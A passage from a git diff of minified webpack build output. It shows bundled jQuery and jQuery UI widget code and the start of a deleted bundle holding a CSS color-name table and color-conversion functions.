")},getAllResponseHeaders:function(){return l?o:null},setRequestHeader:function(e,t){return null==l&&(e=w[e.toLowerCase()]=w[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==l&&(d.mimeType=e),this},statusCode:function(e){var t;if(e)if(l)E.always(e[E.status]);else for(t in e)y[t]=[y[t],e[t]];return this},abort:function(e){var t=e||T;return r&&r.abort(t),k(0,t),this}};if(v.promise(E),d.url=((e||d.url||Tt.href)+"").replace(Ht,Tt.protocol+"//"),d.type=t.method||t.type||d.method||d.type,d.dataTypes=(d.dataType||"*").toLowerCase().match(R)||[""],null==d.crossDomain){u=x.createElement("a");try{u.href=d.url,u.href=u.href,d.crossDomain=It.protocol+"//"+It.host!=u.protocol+"//"+u.host}catch(e){d.crossDomain=!0}}if(d.data&&d.processData&&"string"!=typeof d.data&&(d.data=C.param(d.data,d.traditional)),Ft(Pt,d,t,E),l)return E;for(f in(c=C.event&&d.global)&&0==C.active++&&C.event.trigger("ajaxStart"),d.type=d.type.toUpperCase(),d.hasContent=!Ot.test(d.type),i=d.url.replace(Lt,""),d.hasContent?d.data&&d.processData&&0===(d.contentType||"").indexOf("application/x-www-form-urlencoded")&&(d.data=d.data.replace(jt,"+")):(p=d.url.slice(i.length),d.data&&(d.processData||"string"==typeof d.data)&&(i+=(Et.test(i)?"&":"?")+d.data,delete d.data),!1===d.cache&&(i=i.replace(qt,"$1"),p=(Et.test(i)?"&":"?")+"_="+Ct.guid+++p),d.url=i+p),d.ifModified&&(C.lastModified[i]&&E.setRequestHeader("If-Modified-Since",C.lastModified[i]),C.etag[i]&&E.setRequestHeader("If-None-Match",C.etag[i])),(d.data&&d.hasContent&&!1!==d.contentType||t.contentType)&&E.setRequestHeader("Content-Type",d.contentType),E.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+("*"!==d.dataTypes[0]?", "+Mt+"; q=0.01":""):d.accepts["*"]),d.headers)E.setRequestHeader(f,d.headers[f]);if(d.beforeSend&&(!1===d.beforeSend.call(h,E,d)||l))return E.abort();if(T="abort",m.add(d.complete),E.done(d.success),E.fail(d.error),r=Ft(Rt,d,t,E)){if(E.readyState=1,c&&g.trigger("ajaxSend",[E,d]),l)return E;d.async&&d.timeout>0&&(a=n.setTimeout((function(){E.abort("timeout")}),d.timeout));try{l=!1,r.send(b,k)}catch(e){if(l)throw e;k(-1,e)}}else k(-1,"No Transport");function k(e,t,s,u){var f,p,x,b,w,T=t;l||(l=!0,a&&n.clearTimeout(a),r=void 0,o=u||"",E.readyState=e>0?4:0,f=e>=200&&e<300||304===e,s&&(b=function(e,t,n){for(var r,i,o,s,a=e.contents,u=e.dataTypes;"*"===u[0];)u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in a)if(a[i]&&a[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}s||(s=i)}o=o||s}if(o)return o!==u[0]&&u.unshift(o),n[o]}(d,E,s)),!f&&C.inArray("script",d.dataTypes)>-1&&C.inArray("json",d.dataTypes)<0&&(d.converters["text script"]=function(){}),b=function(e,t,n,r){var i,o,s,a,u,l={},c=e.dataTypes.slice();if(c[1])for(s in e.converters)l[s.toLowerCase()]=e.converters[s];for(o=c.shift();o;)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(s=l[u+" "+o]||l["* "+o]))for(i in l)if((a=i.split(" "))[1]===o&&(s=l[u+" "+a[0]]||l["* "+a[0]])){!0===s?s=l[i]:!0!==l[i]&&(o=a[0],c.unshift(a[1]));break}if(!0!==s)if(s&&e.throws)t=s(t);else try{t=s(t)}catch(e){return{state:"parsererror",error:s?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}(d,b,E,f),f?(d.ifModified&&((w=E.getResponseHeader("Last-Modified"))&&(C.lastModified[i]=w),(w=E.getResponseHeader("etag"))&&(C.etag[i]=w)),204===e||"HEAD"===d.type?T="nocontent":304===e?T="notmodified":(T=b.state,p=b.data,f=!(x=b.error))):(x=T,!e&&T||(T="error",e<0&&(e=0))),E.status=e,E.statusText=(t||T)+"",f?v.resolveWith(h,[p,T,E]):v.rejectWith(h,[E,T,x]),E.statusCode(y),y=void 0,c&&g.trigger(f?"ajaxSuccess":"ajaxError",[E,d,f?p:x]),m.fireWith(h,[E,T]),c&&(g.trigger("ajaxComplete",[E,d]),--C.active||C.event.trigger("ajaxStop")))}return E},getJSON:function(e,t,n){return C.get(e,t,n,"json")},getScript:function(e,t){return C.get(e,void 0,t,"script")}}),C.each(["get","post"],(function(e,t){C[t]=function(e,n,r,i){return m(n)&&(i=i||r,r=n,n=void 0),C.ajax(C.extend({url:e,type:t,dataType:i,data:n,success:r},C.isPlainObject(e)&&e))}})),C.ajaxPrefilter((function(e){var t;for(t in e.headers)"content-type"===t.toLowerCase()&&(e.contentType=e.headers[t]||"")})),C._evalUrl=function(e,t,n){return C.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){C.globalEval(e,t,n)}})},C.fn.extend({wrapAll:function(e){var t;return this[0]&&(m(e)&&(e=e.call(this[0])),t=C(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map((function(){for(var e=this;e.firstElementChild;)e=e.firstElementChild;return e})).append(this)),this},wrapInner:function(e){return m(e)?this.each((function(t){C(this).wrapInner(e.call(this,t))})):this.each((function(){var t=C(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)}))},wrap:function(e){var t=m(e);return this.each((function(n){C(this).wrapAll(t?e.call(this,n):e)}))},unwrap:function(e){return this.parent(e).not("body").each((function(){C(this).replaceWith(this.childNodes)})),this}}),C.expr.pseudos.hidden=function(e){return!C.expr.pseudos.visible(e)},C.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},C.ajaxSettings.xhr=function(){try{return new n.XMLHttpRequest}catch(e){}};var $t={0:200,1223:204},zt=C.ajaxSettings.xhr();v.cors=!!zt&&"withCredentials"in zt,v.ajax=zt=!!zt,C.ajaxTransport((function(e){var t,r;if(v.cors||zt&&!e.crossDomain)return{send:function(i,o){var s,a=e.xhr();if(a.open(e.type,e.url,e.async,e.username,e.password),e.xhrFields)for(s in e.xhrFields)a[s]=e.xhrFields[s];for(s in e.mimeType&&a.overrideMimeType&&a.overrideMimeType(e.mimeType),e.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest"),i)a.setRequestHeader(s,i[s]);t=function(e){return function(){t&&(t=r=a.onload=a.onerror=a.onabort=a.ontimeout=a.onreadystatechange=null,"abort"===e?a.abort():"error"===e?"number"!=typeof a.status?o(0,"error"):o(a.status,a.statusText):o($t[a.status]||a.status,a.statusText,"text"!==(a.responseType||"text")||"string"!=typeof a.responseText?{binary:a.response}:{text:a.responseText},a.getAllResponseHeaders()))}},a.onload=t(),r=a.onerror=a.ontimeout=t("error"),void 0!==a.onabort?a.onabort=r:a.onreadystatechange=function(){4===a.readyState&&n.setTimeout((function(){t&&r()}))},t=t("abort");try{a.send(e.hasContent&&e.data||null)}catch(e){if(t)throw e}},abort:function(){t&&t()}}})),C.ajaxPrefilter((function(e){e.crossDomain&&(e.contents.script=!1)})),C.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return C.globalEval(e),e}}}),C.ajaxPrefilter("script",(function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")})),C.ajaxTransport("script",(function(e){var t,n;if(e.crossDomain||e.scriptAttrs)return{send:function(r,i){t=C("<script>").attr(e.scriptAttrs||{}).prop({charset:e.scriptCharset,src:e.url}).on("load error",n=function(e){t.remove(),n=null,e&&i("error"===e.type?404:200,e.type)}),x.head.appendChild(t[0])},abort:function(){n&&n()}}}));var Ut,Xt=[],Vt=/(=)\?(?=&|$)|\?\?/;C.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Xt.pop()||C.expando+"_"+Ct.guid++;return this[e]=!0,e}}),C.ajaxPrefilter("json jsonp",(function(e,t,r){var i,o,s,a=!1!==e.jsonp&&(Vt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Vt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return i=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Vt,"$1"+i):!1!==e.jsonp&&(e.url+=(Et.test(e.url)?"&":"?")+e.jsonp+"="+i),e.converters["script json"]=function(){return s||C.error(i+" was not called"),s[0]},e.dataTypes[0]="json",o=n[i],n[i]=function(){s=arguments},r.always((function(){void 0===o?C(n).removeProp(i):n[i]=o,e[i]&&(e.jsonpCallback=t.jsonpCallback,Xt.push(i)),s&&m(o)&&o(s[0]),s=o=void 0})),"script"})),v.createHTMLDocument=((Ut=x.implementation.createHTMLDocument("").body).innerHTML="<form></form><form></form>",2===Ut.childNodes.length),C.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(v.createHTMLDocument?((r=(t=x.implementation.createHTMLDocument("")).createElement("base")).href=x.location.href,t.head.appendChild(r)):t=x),o=!n&&[],(i=j.exec(e))?[t.createElement(i[1])]:(i=Te([e],t,o),o&&o.length&&C(o).remove(),C.merge([],i.childNodes)));var r,i,o},C.fn.load=function(e,t,n){var r,i,o,s=this,a=e.indexOf(" ");return a>-1&&(r=vt(e.slice(a)),e=e.slice(0,a)),m(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),s.length>0&&C.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done((function(e){o=arguments,s.html(r?C("<div>").append(C.parseHTML(e)).find(r):e)})).always(n&&function(e,t){s.each((function(){n.apply(this,o||[e.responseText,t,e])}))}),this},C.expr.pseudos.animated=function(e){return C.grep(C.timers,(function(t){return e===t.elem})).length},C.offset={setOffset:function(e,t,n){var r,i,o,s,a,u,l=C.css(e,"position"),c=C(e),f={};"static"===l&&(e.style.position="relative"),a=c.offset(),o=C.css(e,"top"),u=C.css(e,"left"),("absolute"===l||"fixed"===l)&&(o+u).indexOf("auto")>-1?(s=(r=c.position()).top,i=r.left):(s=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,C.extend({},a))),null!=t.top&&(f.top=t.top-a.top+s),null!=t.left&&(f.left=t.left-a.left+i),"using"in t?t.using.call(e,f):c.css(f)}},C.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each((function(t){C.offset.setOffset(this,e,t)}));var t,n,r=this[0];return r?r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===C.css(r,"position"))t=r.getBoundingClientRect();else{for(t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;e&&(e===n.body||e===n.documentElement)&&"static"===C.css(e,"position");)e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=C(e).offset()).top+=C.css(e,"borderTopWidth",!0),i.left+=C.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-C.css(r,"marginTop",!0),left:t.left-i.left-C.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map((function(){for(var e=this.offsetParent;e&&"static"===C.css(e,"position");)e=e.offsetParent;return e||oe}))}}),C.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},(function(e,t){var n="pageYOffset"===t;C.fn[e]=function(r){return z(this,(function(e,r,i){var o;if(y(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===i)return o?o[t]:e[r];o?o.scrollTo(n?o.pageXOffset:i,n?i:o.pageYOffset):e[r]=i}),e,r,arguments.length)}})),C.each(["top","left"],(function(e,t){C.cssHooks[t]=ze(v.pixelPosition,(function(e,n){if(n)return n=$e(e,t),Ie.test(n)?C(e).position()[t]+"px":n}))})),C.each({Height:"height",Width:"width"},(function(e,t){C.each({padding:"inner"+e,content:t,"":"outer"+e},(function(n,r){C.fn[r]=function(i,o){var s=arguments.length&&(n||"boolean"!=typeof i),a=n||(!0===i||!0===o?"margin":"border");return z(this,(function(t,n,i){var o;return y(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?C.css(t,n,a):C.style(t,n,i,a)}),t,s?i:void 0,s)}}))})),C.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],(function(e,t){C.fn[t]=function(e){return this.on(t,e)}})),C.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),C.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),(function(e,t){C.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}));var Qt=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;C.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),m(e))return r=a.call(arguments,2),(i=function(){return e.apply(t||this,r.concat(a.call(arguments)))}).guid=e.guid=e.guid||C.guid++,i},C.holdReady=function(e){e?C.readyWait++:C.ready(!0)},C.isArray=Array.isArray,C.parseJSON=JSON.parse,C.nodeName=D,C.isFunction=m,C.isWindow=y,C.camelCase=Q,C.type=T,C.now=Date.now,C.isNumeric=function(e){var t=C.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},C.trim=function(e){return null==e?"":(e+"").replace(Qt,"")},void 0===(r=function(){return C}.apply(t,[]))||(e.exports=r);var Gt=n.jQuery,Yt=n.$;return C.noConflict=function(e){return n.$===C&&(n.$=Yt),e&&n.jQuery===C&&(n.jQuery=Gt),C},void 0===i&&(n.jQuery=n.$=C),C}))},MIQu:function(e,t,n){var r,i,o;i=[n("EVdn"),n("Qwlt")],void 0===(o="function"==typeof(r=function(e){var t,n=0,r=Array.prototype.slice;return e.cleanData=(t=e.cleanData,function(n){var r,i,o;for(o=0;null!=(i=n[o]);o++)try{(r=e._data(i,"events"))&&r.remove&&e(i).triggerHandler("remove")}catch(e){}t(n)}),e.widget=function(t,n,r){var i,o,s,a={},u=t.split(".")[0],l=u+"-"+(t=t.split(".")[1]);return r||(r=n,n=e.Widget),e.isArray(r)&&(r=e.extend.apply(null,[{}].concat(r))),e.expr[":"][l.toLowerCase()]=function(t){return!!e.data(t,l)},e[u]=e[u]||{},i=e[u][t],o=e[u][t]=function(e,t){if(!this._createWidget)return new o(e,t);arguments.length&&this._createWidget(e,t)},e.extend(o,i,{version:r.version,_proto:e.extend({},r),_childConstructors:[]}),(s=new n).options=e.widget.extend({},s.options),e.each(r,(function(t,r){e.isFunction(r)?a[t]=function(){function e(){return n.prototype[t].apply(this,arguments)}function i(e){return n.prototype[t].apply(this,e)}return function(){var t,n=this._super,o=this._superApply;return this._super=e,this._superApply=i,t=r.apply(this,arguments),this._super=n,this._superApply=o,t}}():a[t]=r})),o.prototype=e.widget.extend(s,{widgetEventPrefix:i&&s.widgetEventPrefix||t},a,{constructor:o,namespace:u,widgetName:t,widgetFullName:l}),i?(e.each(i._childConstructors,(function(t,n){var r=n.prototype;e.widget(r.namespace+"."+r.widgetName,o,n._proto)})),delete i._childConstructors):n._childConstructors.push(o),e.widget.bridge(t,o),o},e.widget.extend=function(t){for(var n,i,o=r.call(arguments,1),s=0,a=o.length;s<a;s++)for(n in o[s])i=o[s][n],o[s].hasOwnProperty(n)&&void 0!==i&&(e.isPlainObject(i)?t[n]=e.isPlainObject(t[n])?e.widget.extend({},t[n],i):e.widget.extend({},i):t[n]=i);return t},e.widget.bridge=function(t,n){var i=n.prototype.widgetFullName||t;e.fn[t]=function(o){var s="string"==typeof o,a=r.call(arguments,1),u=this;return s?this.length||"instance"!==o?this.each((function(){var n,r=e.data(this,i);return"instance"===o?(u=r,!1):r?e.isFunction(r[o])&&"_"!==o.charAt(0)?(n=r[o].apply(r,a))!==r&&void 0!==n?(u=n&&n.jquery?u.pushStack(n.get()):n,!1):void 0:e.error("no such method '"+o+"' for "+t+" widget instance"):e.error("cannot call methods on "+t+" prior to initialization; attempted to call method '"+o+"'")})):u=void 0:(a.length&&(o=e.widget.extend.apply(null,[o].concat(a))),this.each((function(){var t=e.data(this,i);t?(t.option(o||{}),t._init&&t._init()):e.data(this,i,new n(o,this))}))),u}},e.Widget=function(){},e.Widget._childConstructors=[],e.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(t,r){r=e(r||this.defaultElement||this)[0],this.element=e(r),this.uuid=n++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=e(),this.hoverable=e(),this.focusable=e(),this.classesElementLookup={},r!==this&&(e.data(r,this.widgetFullName,this),this._on(!0,this.element,{remove:function(e){e.target===r&&this.destroy()}}),this.document=e(r.style?r.ownerDocument:r.document||r),this.window=e(this.document[0].defaultView||this.document[0].parentWindow)),this.options=e.widget.extend({},this.options,this._getCreateOptions(),t),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:e.noop,_create:e.noop,_init:e.noop,destroy:function(){var t=this;this._destroy(),e.each(this.classesElementLookup,(function(e,n){t._removeClass(n,e)})),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:e.noop,widget:function(){return this.element},option:function(t,n){var r,i,o,s=t;if(0===arguments.length)return e.widget.extend({},this.options);if("string"==typeof t)if(s={},r=t.split("."),t=r.shift(),r.length){for(i=s[t]=e.widget.extend({},this.options[t]),o=0;o<r.length-1;o++)i[r[o]]=i[r[o]]||{},i=i[r[o]];if(t=r.pop(),1===arguments.length)return void 0===i[t]?null:i[t];i[t]=n}else{if(1===arguments.length)return void 0===this.options[t]?null:this.options[t];s[t]=n}return this._setOptions(s),this},_setOptions:function(e){var t;for(t in e)this._setOption(t,e[t]);return this},_setOption:function(e,t){return"classes"===e&&this._setOptionClasses(t),this.options[e]=t,"disabled"===e&&this._setOptionDisabled(t),this},_setOptionClasses:function(t){var n,r,i;for(n in t)i=this.classesElementLookup[n],t[n]!==this.options.classes[n]&&i&&i.length&&(r=e(i.get()),this._removeClass(i,n),r.addClass(this._classes({element:r,keys:n,classes:t,add:!0})))},_setOptionDisabled:function(e){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!e),e&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_classes:function(t){var n=[],r=this;function i(i,o){var s,a;for(a=0;a<i.length;a++)s=r.classesElementLookup[i[a]]||e(),s=t.add?e(e.unique(s.get().concat(t.element.get()))):e(s.not(t.element).get()),r.classesElementLookup[i[a]]=s,n.push(i[a]),o&&t.classes[i[a]]&&n.push(t.classes[i[a]])}return t=e.extend({element:this.element,classes:this.options.classes||{}},t),this._on(t.element,{remove:"_untrackClassesElement"}),t.keys&&i(t.keys.match(/\S+/g)||[],!0),t.extra&&i(t.extra.match(/\S+/g)||[]),n.join(" ")},_untrackClassesElement:function(t){var n=this;e.each(n.classesElementLookup,(function(r,i){-1!==e.inArray(t.target,i)&&(n.classesElementLookup[r]=e(i.not(t.target).get()))}))},_removeClass:function(e,t,n){return this._toggleClass(e,t,n,!1)},_addClass:function(e,t,n){return this._toggleClass(e,t,n,!0)},_toggleClass:function(e,t,n,r){r="boolean"==typeof r?r:n;var i="string"==typeof e||null===e,o={extra:i?t:n,keys:i?e:t,element:i?this.element:e,add:r};return o.element.toggleClass(this._classes(o),r),this},_on:function(t,n,r){var i,o=this;"boolean"!=typeof t&&(r=n,n=t,t=!1),r?(n=i=e(n),this.bindings=this.bindings.add(n)):(r=n,n=this.element,i=this.widget()),e.each(r,(function(r,s){function a(){if(t||!0!==o.options.disabled&&!e(this).hasClass("ui-state-disabled"))return("string"==typeof s?o[s]:s).apply(o,arguments)}"string"!=typeof s&&(a.guid=s.guid=s.guid||a.guid||e.guid++);var u=r.match(/^([\w:-]*)\s*(.*)$/),l=u[1]+o.eventNamespace,c=u[2];c?i.on(l,c,a):n.on(l,a)}))},_off:function(t,n){n=(n||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,t.off(n).off(n),this.bindings=e(this.bindings.not(t).get()),this.focusable=e(this.focusable.not(t).get()),this.hoverable=e(this.hoverable.not(t).get())},_delay:function(e,t){var n=this;return setTimeout((function(){return("string"==typeof e?n[e]:e).apply(n,arguments)}),t||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t),this._on(t,{mouseenter:function(t){this._addClass(e(t.currentTarget),null,"ui-state-hover")},mouseleave:function(t){this._removeClass(e(t.currentTarget),null,"ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t),this._on(t,{focusin:function(t){this._addClass(e(t.currentTarget),null,"ui-state-focus")},focusout:function(t){this._removeClass(e(t.currentTarget),null,"ui-state-focus")}})},_trigger:function(t,n,r){var i,o,s=this.options[t];if(r=r||{},(n=e.Event(n)).type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),n.target=this.element[0],o=n.originalEvent)for(i in o)i in n||(n[i]=o[i]);return this.element.trigger(n,r),!(e.isFunction(s)&&!1===s.apply(this.element[0],[n].concat(r))||n.isDefaultPrevented())}},e.each({show:"fadeIn",hide:"fadeOut"},(function(t,n){e.Widget.prototype["_"+t]=function(r,i,o){var s;"string"==typeof i&&(i={effect:i});var a=i?!0===i||"number"==typeof i?n:i.effect||n:t;"number"==typeof(i=i||{})&&(i={duration:i}),s=!e.isEmptyObject(i),i.complete=o,i.delay&&r.delay(i.delay),s&&e.effects&&e.effects.effect[a]?r[t](i):a!==t&&r[a]?r[a](i.duration,i.easing,o):r.queue((function(n){e(this)[t](),o&&o.call(r[0]),n()}))}})),e.widget})?r.apply(t,i):r)||(e.exports=o)},Qwlt:function(e,t,n){var r,i,o;i=[n("EVdn")],void 0===(o="function"==typeof(r=function(e){return e.ui=e.ui||{},e.ui.version="1.12.1"})?r.apply(t,i):r)||(e.exports=o)},yw1R:function(e,t,n){var r,i,o;i=[n("EVdn"),n("Qwlt")],void 0===(o="function"==typeof(r=function(e){return e.ui.safeActiveElement=function(e){var t;try{t=e.activeElement}catch(n){t=e.body}return t||(t=e.body),t.nodeName||(t=e.body),t}})?r.apply(t,i):r)||(e.exports=o)}}]);
\ No newline at end of file
diff --git a/public/build/2.42abdacc.js b/public/build/2.42abdacc.js
deleted file mode 100644
index dc1f2aac22..0000000000
--- a/public/build/2.42abdacc.js
+++ /dev/null
@@ -1 +0,0 @@
-(window.webpackJsonp=window.webpackJsonp||[]).push([[2],{JVhT:function(t,e,n){t.exports=function(t){"use strict";t=t&&t.hasOwnProperty("default")?t.default:t;var e={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},n=function(t,e){return t(e={exports:{}}),e.exports}((function(t){var n={};for(var i in e)e.hasOwnProperty(i)&&(n[e[i]]=i);var a=t.exports={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};for(var r in a)if(a.hasOwnProperty(r)){if(!("channels"in a[r]))throw new Error("missing channels property: "+r);if(!("labels"in a[r]))throw new Error("missing channel labels property: "+r);if(a[r].labels.length!==a[r].channels)throw new Error("channel and label counts mismatch: "+r);var o=a[r].channels,s=a[r].labels;delete a[r].channels,delete a[r].labels,Object.defineProperty(a[r],"channels",{value:o}),Object.defineProperty(a[r],"labels",{value:s})}a.rgb.hsl=function(t){var e,n,i=t[0]/255,a=t[1]/255,r=t[2]/255,o=Math.min(i,a,r),s=Math.max(i,a,r),l=s-o;return s===o?e=0:i===s?e=(a-r)/l:a===s?e=2+(r-i)/l:r===s&&(e=4+(i-a)/l),(e=Math.min(60*e,360))<0&&(e+=360),n=(o+s)/2,[e,100*(s===o?0:n<=.5?l/(s+o):l/(2-s-o)),100*n]},a.rgb.hsv=function(t){var e,n,i,a,r,o=t[0]/255,s=t[1]/255,l=t[2]/255,u=Math.max(o,s,l),d=u-Math.min(o,s,l),h=function(t){return(u-t)/6/d+.5};return 0===d?a=r=0:(r=d/u,e=h(o),n=h(s),i=h(l),o===u?a=i-n:s===u?a=1/3+e-i:l===u&&(a=2/3+n-e),a<0?a+=1:a>1&&(a-=1)),[360*a,100*r,100*u]},a.rgb.hwb=function(t){var 